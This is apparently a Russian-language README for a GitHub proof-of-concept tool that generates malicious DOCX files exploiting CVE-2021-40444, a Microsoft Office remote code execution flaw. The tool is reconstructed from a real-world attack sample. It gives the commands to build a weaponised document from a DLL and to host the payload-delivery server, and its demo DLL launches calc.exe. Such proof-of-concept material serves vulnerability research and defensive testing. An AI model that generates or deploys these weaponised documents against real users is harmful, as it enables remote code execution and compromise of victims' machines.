lockedbyte/cve-2021-40444Генерирует вредоносные DOCX-документы, эксплуатирующие CVE-2021-40444 (RCE в Microsoft Office), с размещенным сервером для доставки полезной нагрузки DLL, на основе образцов, реконструированных из реальных атак.
Вредоносный генератор docx для эксплуатации CVE-2021-40444 (удаленное выполнение кода в Microsoft Office Word)
Создание этого скрипта основано на обратной разработке семпла, использовавшегося в реальных атаках: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (файл docx)
Сначала необходимо установить lcab (sudo apt-get install lcab)
Инструкции по ручному воспроизведению смотрите в REPRODUCE.md
Если сгенерированный cab-файл не работает, попробуйте указать в exploit.html URL, ведущий к calc.cab
Сначала создайте вредоносный документ docx на основе DLL. Можно использовать файл из test/calc.dll, который просто запускает calc.exe через вызов system()
python3 exploit.py generate test/calc.dll http://<IP СЕРВЕРА>
После создания вредоносного docx (будет находиться в out/) можно запустить сервер:
sudo python3 exploit.py host 80
Наконец, попробуйте открыть docx на виртуальной машине с Windows:
